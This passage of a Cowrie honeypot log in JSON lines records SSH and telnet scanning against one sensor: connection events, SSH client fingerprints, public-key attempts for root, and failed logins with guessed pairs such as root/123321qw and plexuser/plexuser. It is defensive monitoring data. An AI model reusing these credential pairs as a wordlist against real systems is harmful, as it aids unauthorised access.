nssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:44.336401Z","src_ip":"103.15.222.183","session":"be24740c1b93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321qw","message":"login attempt [root/123321qw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:45.070983Z","src_ip":"103.15.222.183","session":"be24740c1b93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:46.323796Z","src_ip":"103.15.222.183","session":"be24740c1b93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root1111","message":"login attempt [root/Root1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:50.136902Z","src_ip":"213.209.159.158","session":"19028beb7684","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:53.271868Z","src_ip":"213.209.159.158","session":"19028beb7684","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":13510,"dst_ip":"159.203.135.109","dst_port":22,"session":"e73ccc6ad4b9","protocol":"ssh","message":"New connection: 213.209.159.158:13510 (159.203.135.109:22) [session: e73ccc6ad4b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:53.363353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:55.886914Z","src_ip":"213.209.159.158","session":"e73ccc6ad4b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:55.891213Z","src_ip":"213.209.159.158","session":"e73ccc6ad4b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plexuser","password":"plexuser","message":"login attempt [plexuser/plexuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:05.206234Z","src_ip":"213.209.159.158","session":"e73ccc6ad4b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:08.404315Z","src_ip":"213.209.159.158","session":"e73ccc6ad4b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":50598,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f5604e3936d","protocol":"ssh","message":"New connection: 213.209.159.158:50598 (159.203.135.109:22) [session: 8f5604e3936d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:08.489223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:10.930593Z","src_ip":"213.209.159.158","session":"8f5604e3936d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:10.935280Z","src_ip":"213.209.159.158","session":"8f5604e3936d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123098qweoiu","message":"login attempt [root/123098qweoiu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:20.372399Z","src_ip":"213.209.159.158","session":"8f5604e3936d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:23.866992Z","src_ip":"213.209.159.158","session":"8f5604e3936d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":62084,"dst_ip":"159.203.135.109","dst_port":22,"session":"396238e9eda3","protocol":"ssh","message":"New connection: 213.209.159.158:62084 (159.203.135.109:22) [session: 396238e9eda3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:23.959718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:26.064428Z","src_ip":"213.209.159.158","session":"396238e9eda3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:26.068280Z","src_ip":"213.209.159.158","session":"396238e9eda3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.90654182434082,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:30.739745Z","src_ip":"152.42.224.71","session":"3b9244988ddc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":44768,"dst_ip":"159.203.135.109","dst_port":22,"session":"62a2b0e82b02","protocol":"ssh","message":"New connection: 139.19.117.129:44768 (159.203.135.109:22) [session: 62a2b0e82b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:31.919363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:31.924558Z","src_ip":"139.19.117.129","session":"62a2b0e82b02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:32.026060Z","src_ip":"139.19.117.129","session":"62a2b0e82b02","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:7d:9d:08:37:7a:0a:f4:ca:85:4b:d1:94:64:c9:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7+SFcfFs2jdOQsXyljYF4573CrbM1wiz3JUHo7L+kVOI5lQcwIdqtP8jAuN2qyhsLnEpBfG3ulFeAg2VhX6tp7LIa2eNyVceyFoUtAmylL/Zry6j9pZaDXrv3fCtSb2PGKCmZTSJtYClo4i1jMAS/ANDxYBGDLSPB6xi4dt8p0UuDw1UdxBvq3pf5pwmrnMNdK73sRuKHcIBNEYUuSnDdUUuZoHM/tlJolU2w7X2AW8fLw83BkTp+cuKFSkBL0MSMMyQ+5vByM1NC8M50Bka773LESjtUct04h8aVFZYuQY+jeLrD2qwnAndbPjP/iSxgGaqkR9GfzHf7nqCBSkohMUyo2qow7covntqUwskwckTKwgC10aUiMMj2zSaY8pJLT30tKgYXGnl4Kp/dAkcvKBnNwsBQUqhIr/aZSzJluin1lIT+bIya2Y3EMqStwQlUlq04UsE9Mnecuqkbkt4a6VJ1kCERMVNo6FMZ20aQKQPcUGC6hMb/JXoy6vhuvJc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:7d:9d:08:37:7a:0a:f4:ca:85:4b:d1:94:64:c9:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:32.230692Z","src_ip":"139.19.117.129","session":"62a2b0e82b02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:7d:9d:08:37:7a:0a:f4:ca:85:4b:d1:94:64:c9:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7+SFcfFs2jdOQsXyljYF4573CrbM1wiz3JUHo7L+kVOI5lQcwIdqtP8jAuN2qyhsLnEpBfG3ulFeAg2VhX6tp7LIa2eNyVceyFoUtAmylL/Zry6j9pZaDXrv3fCtSb2PGKCmZTSJtYClo4i1jMAS/ANDxYBGDLSPB6xi4dt8p0UuDw1UdxBvq3pf5pwmrnMNdK73sRuKHcIBNEYUuSnDdUUuZoHM/tlJolU2w7X2AW8fLw83BkTp+cuKFSkBL0MSMMyQ+5vByM1NC8M50Bka773LESjtUct04h8aVFZYuQY+jeLrD2qwnAndbPjP/iSxgGaqkR9GfzHf7nqCBSkohMUyo2qow7covntqUwskwckTKwgC10aUiMMj2zSaY8pJLT30tKgYXGnl4Kp/dAkcvKBnNwsBQUqhIr/aZSzJluin1lIT+bIya2Y3EMqStwQlUlq04UsE9Mnecuqkbkt4a6VJ1kCERMVNo6FMZ20aQKQPcUGC6hMb/JXoy6vhuvJc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:32.234688Z","src_ip":"139.19.117.129","session":"62a2b0e82b02","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:7d:9d:08:37:7a:0a:f4:ca:85:4b:d1:94:64:c9:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7+SFcfFs2jdOQsXyljYF4573CrbM1wiz3JUHo7L+kVOI5lQcwIdqtP8jAuN2qyhsLnEpBfG3ulFeAg2VhX6tp7LIa2eNyVceyFoUtAmylL/Zry6j9pZaDXrv3fCtSb2PGKCmZTSJtYClo4i1jMAS/ANDxYBGDLSPB6xi4dt8p0UuDw1UdxBvq3pf5pwmrnMNdK73sRuKHcIBNEYUuSnDdUUuZoHM/tlJolU2w7X2AW8fLw83BkTp+cuKFSkBL0MSMMyQ+5vByM1NC8M50Bka773LESjtUct04h8aVFZYuQY+jeLrD2qwnAndbPjP/iSxgGaqkR9GfzHf7nqCBSkohMUyo2qow7covntqUwskwckTKwgC10aUiMMj2zSaY8pJLT30tKgYXGnl4Kp/dAkcvKBnNwsBQUqhIr/aZSzJluin1lIT+bIya2Y3EMqStwQlUlq04UsE9Mnecuqkbkt4a6VJ1kCERMVNo6FMZ20aQKQPcUGC6hMb/JXoy6vhuvJc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:7d:9d:08:37:7a:0a:f4:ca:85:4b:d1:94:64:c9:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:32.338923Z","src_ip":"139.19.117.129","session":"62a2b0e82b02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:7d:9d:08:37:7a:0a:f4:ca:85:4b:d1:94:64:c9:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7+SFcfFs2jdOQsXyljYF4573CrbM1wiz3JUHo7L+kVOI5lQcwIdqtP8jAuN2qyhsLnEpBfG3ulFeAg2VhX6tp7LIa2eNyVceyFoUtAmylL/Zry6j9pZaDXrv3fCtSb2PGKCmZTSJtYClo4i1jMAS/ANDxYBGDLSPB6xi4dt8p0UuDw1UdxBvq3pf5pwmrnMNdK73sRuKHcIBNEYUuSnDdUUuZoHM/tlJolU2w7X2AW8fLw83BkTp+cuKFSkBL0MSMMyQ+5vByM1NC8M50Bka773LESjtUct04h8aVFZYuQY+jeLrD2qwnAndbPjP/iSxgGaqkR9GfzHf7nqCBSkohMUyo2qow7covntqUwskwckTKwgC10aUiMMj2zSaY8pJLT30tKgYXGnl4Kp/dAkcvKBnNwsBQUqhIr/aZSzJluin1lIT+bIya2Y3EMqStwQlUlq04UsE9Mnecuqkbkt4a6VJ1kCERMVNo6FMZ20aQKQPcUGC6hMb/JXoy6vhuvJc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:32.342980Z","src_ip":"139.19.117.129","session":"62a2b0e82b02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ramon","password":"ramon","message":"login attempt [ramon/ramon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:35.740565Z","src_ip":"213.209.159.158","session":"396238e9eda3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:39.114190Z","src_ip":"213.209.159.158","session":"396238e9eda3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":51750,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5ca229a0817","protocol":"ssh","message":"New connection: 213.209.159.158:51750 (159.203.135.109:22) [session: b5ca229a0817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:39.196295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:41.079382Z","src_ip":"213.209.159.158","session":"b5ca229a0817","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:41.083625Z","src_ip":"213.209.159.158","session":"b5ca229a0817","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:41.919378Z","src_ip":"139.19.117.129","session":"62a2b0e82b02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"net","password":"net","message":"login attempt [net/net] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:50.672107Z","src_ip":"213.209.159.158","session":"b5ca229a0817","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:53.874323Z","src_ip":"213.209.159.158","session":"b5ca229a0817","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":45432,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8af9a7ad386","protocol":"ssh","message":"New connection: 213.209.159.158:45432 (159.203.135.109:22) [session: d8af9a7ad386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:53.960251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:56.507110Z","src_ip":"213.209.159.158","session":"d8af9a7ad386","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:59:56.510885Z","src_ip":"213.209.159.158","session":"d8af9a7ad386","protocol":"ssh"}
